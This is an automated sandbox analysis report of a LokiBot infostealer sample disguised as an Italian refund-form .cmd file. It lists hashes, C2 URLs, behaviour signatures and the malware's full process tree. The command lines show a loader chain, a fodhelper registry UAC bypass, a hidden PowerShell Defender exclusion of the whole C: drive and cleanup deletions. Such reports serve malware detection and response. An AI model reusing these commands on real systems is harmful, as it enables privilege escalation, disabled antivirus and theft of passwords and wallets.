Analysis

  • max time kernel
    104s
  • max time network
    101s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240704-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240704-enlocale:en-usos:windows10-2004-x64system
  • submitted
    08-07-2024 14:47

General

  • Target

    Modulo di rimborso 202400070804892.cmd

  • Size

    4.5MB

  • MD5

    9fd629694c754e95e3d3d6901714cf45

  • SHA1

    f2fc18feaba20e3468c9d32982a1d5403b25c960

  • SHA256

    c2913976f403d03823ed4c83991261389f4ffbd4aa7295130bf8be34f5c65bc6

  • SHA512

    ae55a35eb865bc0744e37477bb32c3e7e4fada03eb1ca99e05d8974337ecd1ed37a4e90f5b1d833be6ae70f23c2f3d3e54d3fe4fcca1dcdedf476e226b9cf7f5

  • SSDEEP

    24576:3ooFjC7vlHPGkNpzz8Psv4Tycq8Yhns9Sfu6ZkvMJkUiSSX+HPd0BxBJGhRCbjt8:3ooF+7vZ+aB8PsKQdfwn94ojt08qv

Malware Config

Extracted

Family

lokibot

C2

http://104.248.205.66/index.php/modify.php?edit=1

http://kbfvzoboss.bid/alien/fre.php

http://alphastand.trade/alien/fre.php

http://alphastand.win/alien/fre.php

http://alphastand.top/alien/fre.php

Signatures

  • Lokibot

    Lokibot is a Password and CryptoCoin Wallet Stealer.

  • ModiLoader, DBatLoader

    ModiLoader is a Delphi loader that misuses cloud services to download other malicious families.

  • ModiLoader Second Stage 3 IoCs
  • Checks computer location settings 2 TTPs 2 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Executes dropped EXE 29 IoCs
  • Reads user/profile data of web browsers 2 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Accesses Microsoft Outlook profiles 1 TTPs 3 IoCs
  • Adds Run key to start application 2 TTPs 1 IoCs
  • Suspicious use of SetThreadContext 2 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Kills process with taskkill 1 IoCs
  • Modifies registry class 5 IoCs
  • Runs ping.exe 1 TTPs 1 IoCs
  • Script User-Agent 2 IoCs

    Uses user-agent string associated with script host/environment.

  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 3 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs
  • outlook_office_path 1 IoCs
  • outlook_win_path 1 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\Modulo di rimborso 202400070804892.cmd"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:4752
    • C:\Windows\System32\extrac32.exe
      C:\\Windows\\System32\\extrac32 /C /Y C:\\Windows\\System32\\cmd.exe "C:\\Users\\Public\\alpha.exe"
      2⤵
        PID:1676
      • C:\Users\Public\alpha.exe
        C:\\Users\\Public\\alpha /c extrac32 /C /Y C:\\Windows\\System32\\certutil.exe C:\\Users\\Public\\kn.exe
        2⤵
        • Executes dropped EXE
        • Suspicious use of WriteProcessMemory
        PID:3340
        • C:\Windows\system32\extrac32.exe
          extrac32 /C /Y C:\\Windows\\System32\\certutil.exe C:\\Users\\Public\\kn.exe
          3⤵
            PID:5040
        • C:\Users\Public\alpha.exe
          C:\\Users\\Public\\alpha /c C:\\Users\\Public\\kn -decodehex -F "C:\Users\Admin\AppData\Local\Temp\Modulo di rimborso 202400070804892.cmd" "C:\\Users\\Public\\CLEAN.GIF" 9
          2⤵
          • Executes dropped EXE
          • Suspicious use of WriteProcessMemory
          PID:5068
          • C:\Users\Public\kn.exe
            C:\\Users\\Public\\kn -decodehex -F "C:\Users\Admin\AppData\Local\Temp\Modulo di rimborso 202400070804892.cmd" "C:\\Users\\Public\\CLEAN.GIF" 9
            3⤵
            • Executes dropped EXE
            PID:4456
        • C:\Users\Public\alpha.exe
          C:\\Users\\Public\\alpha /c C:\\Users\\Public\\kn -decodehex -F "C:\\Users\\Public\\CLEAN.GIF" "C:\\Users\\Public\\Libraries\\CLEAN.COM" 12
          2⤵
          • Executes dropped EXE
          • Suspicious use of WriteProcessMemory
          PID:2628
          • C:\Users\Public\kn.exe
            C:\\Users\\Public\\kn -decodehex -F "C:\\Users\\Public\\CLEAN.GIF" "C:\\Users\\Public\\Libraries\\CLEAN.COM" 12
            3⤵
            • Executes dropped EXE
            PID:3556
        • C:\Users\Public\Libraries\CLEAN.COM
          C:\Users\Public\Libraries\CLEAN.COM
          2⤵
          • Executes dropped EXE
          • Adds Run key to start application
          • Suspicious use of SetThreadContext
          • Suspicious use of WriteProcessMemory
          PID:2632
          • C:\Users\Public\Libraries\doglyjkD.pif
            C:\Users\Public\Libraries\doglyjkD.pif
            3⤵
            • Checks computer location settings
            • Executes dropped EXE
            • Suspicious use of WriteProcessMemory
            PID:3456
            • C:\Windows\system32\cmd.exe
              "C:\Windows\sysnative\cmd.exe" /c "C:\Users\Admin\AppData\Local\Temp\150A.tmp\150B.tmp\150C.bat C:\Users\Public\Libraries\doglyjkD.pif"
              4⤵
              • Suspicious use of WriteProcessMemory
              PID:4484
              • C:\Windows\System32\extrac32.exe
                C:\\Windows\\System32\\extrac32 /C /Y C:\\Windows\\System32\\cmd.exe "C:\\Users\\Public\\alpha.exe"
                5⤵
                  PID:2108
                • C:\Users\Public\alpha.exe
                  C:\\Users\\Public\\alpha /c mkdir "\\?\C:\Windows "
                  5⤵
                  • Executes dropped EXE
                  PID:1160
                • C:\Users\Public\alpha.exe
                  C:\\Users\\Public\\alpha /c mkdir "\\?\C:\Windows \System32"
                  5⤵
                  • Executes dropped EXE
                  PID:1084
                • C:\Users\Public\alpha.exe
                  C:\\Users\\Public\\alpha /c extrac32 /C /Y C:\\Windows\\System32\\reg.exe "C:\\Users\\Public\\ger.exe"
                  5⤵
                  • Executes dropped EXE
                  • Suspicious use of WriteProcessMemory
                  PID:4704
                  • C:\Windows\system32\extrac32.exe
                    extrac32 /C /Y C:\\Windows\\System32\\reg.exe "C:\\Users\\Public\\ger.exe"
                    6⤵
                      PID:2736
                  • C:\Users\Public\alpha.exe
                    C:\\Users\\Public\\alpha /c extrac32 /C /Y C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe "C:\\Users\\Public\\xkn.exe"
                    5⤵
                    • Executes dropped EXE
                    • Suspicious use of WriteProcessMemory
                    PID:4020
                    • C:\Windows\system32\extrac32.exe
                      extrac32 /C /Y C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe "C:\\Users\\Public\\xkn.exe"
                      6⤵
                        PID:1424
                    • C:\Users\Public\alpha.exe
                      C:\\Users\\Public\\alpha /c extrac32 /C /Y C:\\Windows\\System32\\fodhelper.exe "C:\\Windows \\System32\\per.exe"
                      5⤵
                      • Executes dropped EXE
                      • Suspicious use of WriteProcessMemory
                      PID:1724
                      • C:\Windows\system32\extrac32.exe
                        extrac32 /C /Y C:\\Windows\\System32\\fodhelper.exe "C:\\Windows \\System32\\per.exe"
                        6⤵
                          PID:3368
                      • C:\Users\Public\alpha.exe
                        C:\\Users\\Public\\alpha /c C:\\Users\\Public\\xkn -WindowStyle hidden -Command "C:\\Users\\Public\\alpha /c C:\\Users\\Public\\ger add HKCU\Software\Classes\ms-settings\shell\open\command /f /ve /t REG_SZ /d 'C:\\Users\\Public\\xkn -WindowStyle hidden -Command "Add-MpPreference -ExclusionPath C:\"' ; "
                        5⤵
                        • Executes dropped EXE
                        • Suspicious use of WriteProcessMemory
                        PID:1472
                        • C:\Users\Public\xkn.exe
                          C:\\Users\\Public\\xkn -WindowStyle hidden -Command "C:\\Users\\Public\\alpha /c C:\\Users\\Public\\ger add HKCU\Software\Classes\ms-settings\shell\open\command /f /ve /t REG_SZ /d 'C:\\Users\\Public\\xkn -WindowStyle hidden -Command "Add-MpPreference -ExclusionPath C:\"' ; "
                          6⤵
                          • Executes dropped EXE
                          • Suspicious behavior: EnumeratesProcesses
                          • Suspicious use of AdjustPrivilegeToken
                          • Suspicious use of WriteProcessMemory
                          PID:4528
                          • C:\Users\Public\alpha.exe
                            "C:\Users\Public\alpha.exe" /c C:\\Users\\Public\\ger add HKCU\Software\Classes\ms-settings\shell\open\command /f /ve /t REG_SZ /d "C:\\Users\\Public\\xkn -WindowStyle hidden -Command Add-MpPreference -ExclusionPath C:""
                            7⤵
                            • Executes dropped EXE
                            • Suspicious use of WriteProcessMemory
                            PID:220
                            • C:\Users\Public\ger.exe
                              C:\\Users\\Public\\ger add HKCU\Software\Classes\ms-settings\shell\open\command /f /ve /t REG_SZ /d "C:\\Users\\Public\\xkn -WindowStyle hidden -Command Add-MpPreference -ExclusionPath C:""
                              8⤵
                              • Executes dropped EXE
                              • Modifies registry class
                              PID:864
                      • C:\Windows \System32\per.exe
                        "C:\\Windows \\System32\\per.exe"
                        5⤵
                        • Checks computer location settings
                        • Executes dropped EXE
                        PID:3376
                      • C:\Users\Public\alpha.exe
                        C:\\Users\\Public\\alpha /c taskkill /F /IM SystemSettings.exe
                        5⤵
                        • Executes dropped EXE
                        • Suspicious use of WriteProcessMemory
                        PID:5016
                        • C:\Windows\system32\taskkill.exe
                          taskkill /F /IM SystemSettings.exe
                          6⤵
                          • Kills process with taskkill
                          • Suspicious use of AdjustPrivilegeToken
                          PID:1896
                      • C:\Users\Public\alpha.exe
                        C:\\Users\\Public\\alpha /c ping 127.0.0.1 -n 2
                        5⤵
                        • Executes dropped EXE
                        • Suspicious use of WriteProcessMemory
                        PID:3356
                        • C:\Windows\system32\PING.EXE
                          ping 127.0.0.1 -n 2
                          6⤵
                          • Runs ping.exe
                          PID:1916
                      • C:\Users\Public\alpha.exe
                        C:\\Users\\Public\\alpha /c del /q "C:\Windows \System32\*"
                        5⤵
                        • Executes dropped EXE
                        PID:2516
                      • C:\Users\Public\alpha.exe
                        C:\\Users\\Public\\alpha /c rmdir "C:\Windows \System32"
                        5⤵
                        • Executes dropped EXE
                        PID:4408
                      • C:\Users\Public\alpha.exe
                        C:\\Users\\Public\\alpha /c rmdir "C:\Windows \"
                        5⤵
                        • Executes dropped EXE
                        PID:3584
                      • C:\Users\Public\alpha.exe
                        C:\\Users\\Public\\alpha /c del /q "C:\\Windows \\System32\\per.exe" / A / F / Q / S
                        5⤵
                        • Executes dropped EXE
                        PID:1604
                      • C:\Users\Public\alpha.exe
                        C:\\Users\\Public\\alpha /c del /q "C:\Users\Public\ger.exe" / A / F / Q / S
                        5⤵
                        • Executes dropped EXE
                        PID:3420
                      • C:\Users\Public\alpha.exe
                        C:\\Users\\Public\\alpha /c del /q "C:\Users\Public\kn.exe" / A / F / Q / S
                        5⤵
                        • Executes dropped EXE
                        PID:3176
                      • C:\Users\Public\alpha.exe
                        C:\\Users\\Public\\alpha /c del /q "C:\Users\Public\xkn.exe" / A / F / Q / S
                        5⤵
                        • Executes dropped EXE
                        PID:4040
                  • C:\Windows\SysWOW64\extrac32.exe
                    C:\\Windows\\System32\\extrac32.exe /C /Y C:\Users\Public\Libraries\CLEAN.COM C:\\Users\\Public\\Libraries\\Dkjylgod.PIF
                    3⤵
                      PID:4924
                    • C:\Users\Public\Libraries\doglyjkD.pif
                      C:\Users\Public\Libraries\doglyjkD.pif
                      3⤵
                      • Executes dropped EXE
                      • Accesses Microsoft Outlook profiles
                      • Suspicious use of AdjustPrivilegeToken
                      • outlook_office_path
                      • outlook_win_path
                      PID:1936
                  • C:\Users\Public\alpha.exe
                    C:\\Users\\Public\\alpha /c del /q "C:\Users\Public\kn.exe" / A / F / Q / S
                    2⤵
                    • Executes dropped EXE
                    PID:2072
                  • C:\Users\Public\alpha.exe
                    C:\\Users\\Public\\alpha /c del /q "C:\Users\Public\CLEAN.GIF" / A / F / Q / S
                    2⤵
                    • Executes dropped EXE
                    PID:4088
                • C:\Windows\system32\SystemSettingsAdminFlows.exe
                  "C:\Windows\system32\SystemSettingsAdminFlows.exe" OptionalFeaturesAdminHelper
                  1⤵
                    PID:4216

                  Network

                  MITRE ATT&CK Enterprise v15

                  Replay Monitor

                  Loading Replay Monitor...

                  Downloads

                  • C:\Users\Admin\AppData\Local\Temp\150A.tmp\150B.tmp\150C.bat

                    Filesize

                    1KB

                    MD5

                    e62f427202d3e5a3ba60ebe78567918c

                    SHA1

                    6ef0cd5ba6c871815fceb27ff095a7931452b334

                    SHA256

                    06bee225a830ea0e67b91fd7d24280c5315ef82049b25b07c9cfde4e36a639ff

                    SHA512

                    e15148ba4099f3b8c73319be32a5f76226d21e7fb90123bec68e5106d03b7d3e8af8caa0421667920967e8921787ba255dc4bf23d35792bf8e9a20f1e18283c6

                  • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_4d3wldwa.oev.ps1

                    Filesize

                    60B

                    MD5

                    d17fe0a3f47be24a6453e9ef58c94641

                    SHA1

                    6ab83620379fc69f80c0242105ddffd7d98d5d9d

                    SHA256

                    96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

                    SHA512

                    5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

                  • C:\Users\Admin\AppData\Roaming\Microsoft\Crypto\RSA\S-1-5-21-2480455240-981575606-1030659066-1000\0f5007522459c86e95ffcc62f32308f1_97532728-d37f-4fba-989b-69a00b7cc6ec

                    Filesize

                    46B

                    MD5

                    c07225d4e7d01d31042965f048728a0a

                    SHA1

                    69d70b340fd9f44c89adb9a2278df84faa9906b7

                    SHA256

                    8c136c7ae08020ad16fd1928e36ad335ddef8b85906d66b712fff049aa57dc9a

                    SHA512

                    23d3cea738e1abf561320847c39dadc8b5794d7bd8761b0457956f827a17ad2556118b909a3e6929db79980ccf156a6f58ac823cf88329e62417d2807b34b64b

                  • C:\Users\Admin\AppData\Roaming\Microsoft\Crypto\RSA\S-1-5-21-2480455240-981575606-1030659066-1000\0f5007522459c86e95ffcc62f32308f1_97532728-d37f-4fba-989b-69a00b7cc6ec

                    Filesize

                    46B

                    MD5

                    d898504a722bff1524134c6ab6a5eaa5

                    SHA1

                    e0fdc90c2ca2a0219c99d2758e68c18875a3e11e

                    SHA256

                    878f32f76b159494f5a39f9321616c6068cdb82e88df89bcc739bbc1ea78e1f9

                    SHA512

                    26a4398bffb0c0aef9a6ec53cd3367a2d0abf2f70097f711bbbf1e9e32fd9f1a72121691bb6a39eeb55d596edd527934e541b4defb3b1426b1d1a6429804dc61

                  • C:\Users\Public\CLEAN.GIF

                    Filesize

                    3.3MB

                    MD5

                    a9d92b074e08179b321039df7bfa533d

                    SHA1

                    073b9ad8abb2835389d7319e74d3c64770f6e10d

                    SHA256

                    711e274d6d77bd852b32718091299fc0ebb163ec42900a913e251d9eab71ba9d

                    SHA512

                    5083e8d4ae7858a81e82ae2454c47f7351d2153a024b5b3c38bd4c48b565e25d5431ad17804affc7db3c2f249bef0a8472c3268bb570096b19efe959e6217d7b

                  • C:\Users\Public\Libraries\CLEAN.COM

                    Filesize

                    1.6MB

                    MD5

                    f5940e6b57ae7f576e871b6b0300e42e

                    SHA1

                    4067294329e4922e89258cb4fd819d126a9ebbdc

                    SHA256

                    ba1ff5281b882441ad7d31a47f8bea56bf3e48a6bffb69ad679671abfd50b9cf

                    SHA512

                    578fc426affbdbd14944e901be673af79317a50ab4131a1700303dc9ba161f1846bee4541b85f32646017068c70e9ee4bb725ac66739cd5f9e92fe2276081e30

                  • C:\Users\Public\Libraries\doglyjkD.pif

                    Filesize

                    66KB

                    MD5

                    c116d3604ceafe7057d77ff27552c215

                    SHA1

                    452b14432fb5758b46f2897aeccd89f7c82a727d

                    SHA256

                    7bcdc2e607abc65ef93afd009c3048970d9e8d1c2a18fc571562396b13ebb301

                    SHA512

                    9202a00eeaf4c5be94de32fd41bfea40fc32d368955d49b7bad2b5c23c4ebc92dccb37d99f5a14e53ad674b63f1baa6efb1feb27225c86693ead3262a26d66c6

                  • C:\Users\Public\alpha.exe

                    Filesize

                    283KB

                    MD5

                    8a2122e8162dbef04694b9c3e0b6cdee

                    SHA1

                    f1efb0fddc156e4c61c5f78a54700e4e7984d55d

                    SHA256

                    b99d61d874728edc0918ca0eb10eab93d381e7367e377406e65963366c874450

                    SHA512

                    99e784141193275d4364ba1b8762b07cc150ca3cb7e9aa1d4386ba1fa87e073d0500e61572f8d1b071f2faa2a51bb123e12d9d07054b59a1a2fd768ad9f24397

                  • C:\Users\Public\ger.exe

                    Filesize

                    75KB

                    MD5

                    227f63e1d9008b36bdbcc4b397780be4

                    SHA1

                    c0db341defa8ef40c03ed769a9001d600e0f4dae

                    SHA256

                    c0e25b1f9b22de445298c1e96ddfcead265ca030fa6626f61a4a4786cc4a3b7d

                    SHA512

                    101907b994d828c83587c483b4984f36caf728b766cb7a417b549852a6207e2a3fe9edc8eff5eeab13e32c4cf1417a3adccc089023114ea81974c5e6b355fed9

                  • C:\Users\Public\kn.exe

                    Filesize

                    1.6MB

                    MD5

                    bd8d9943a9b1def98eb83e0fa48796c2

                    SHA1

                    70e89852f023ab7cde0173eda1208dbb580f1e4f

                    SHA256

                    8de7b4eb1301d6cbe4ea2c8d13b83280453eb64e3b3c80756bbd1560d65ca4d2

                    SHA512

                    95630fdddad5db60cc97ec76ee1ca02dbb00ee3de7d6957ecda8968570e067ab2a9df1cc07a3ce61161a994acbe8417c83661320b54d04609818009a82552f7b

                  • C:\Users\Public\xkn.exe

                    Filesize

                    442KB

                    MD5

                    04029e121a0cfa5991749937dd22a1d9

                    SHA1

                    f43d9bb316e30ae1a3494ac5b0624f6bea1bf054

                    SHA256

                    9f914d42706fe215501044acd85a32d58aaef1419d404fddfa5d3b48f66ccd9f

                    SHA512

                    6a2fb055473033fd8fdb8868823442875b5b60c115031aaeda688a35a092f6278e8687e2ae2b8dc097f8f3f35d23959757bf0c408274a2ef5f40ddfa4b5c851b

                  • C:\Windows \System32\per.exe

                    Filesize

                    48KB

                    MD5

                    85018be1fd913656bc9ff541f017eacd

                    SHA1

                    26d7407931b713e0f0fa8b872feecdb3cf49065a

                    SHA256

                    c546e05d705ffdd5e1e18d40e2e7397f186a7c47fa5fc21f234222d057227cf5

                    SHA512

                    3e5903cf18386951c015ae23dd68a112b2f4b0968212323218c49f8413b6d508283cc6aaa929dbead853bd100adc18bf497479963dad42dfafbeb081c9035459

                  • memory/1936-128-0x0000000000400000-0x0000000001400000-memory.dmp

                    Filesize

                    16.0MB

                  • memory/1936-130-0x0000000000400000-0x00000000004A2000-memory.dmp

                    Filesize

                    648KB

                  • memory/1936-96-0x0000000000400000-0x0000000001400000-memory.dmp

                    Filesize

                    16.0MB

                  • memory/1936-94-0x0000000000400000-0x0000000001400000-memory.dmp

                    Filesize

                    16.0MB

                  • memory/2632-28-0x0000000000400000-0x00000000005AE000-memory.dmp

                    Filesize

                    1.7MB

                  • memory/3456-109-0x0000000000400000-0x000000000041A000-memory.dmp

                    Filesize

                    104KB

                  • memory/3456-107-0x0000000000400000-0x0000000001400000-memory.dmp

                    Filesize

                    16.0MB

                  • memory/3456-37-0x0000000000400000-0x0000000001400000-memory.dmp

                    Filesize

                    16.0MB

                  • memory/3456-39-0x0000000000400000-0x0000000001400000-memory.dmp

                    Filesize

                    16.0MB

                  • memory/3456-34-0x0000000000400000-0x0000000001400000-memory.dmp

                    Filesize

                    16.0MB

                  • memory/3456-40-0x0000000000400000-0x000000000041A000-memory.dmp

                    Filesize

                    104KB

                  • memory/4528-74-0x0000017FBBF90000-0x0000017FBBFB2000-memory.dmp

                    Filesize

                    136KB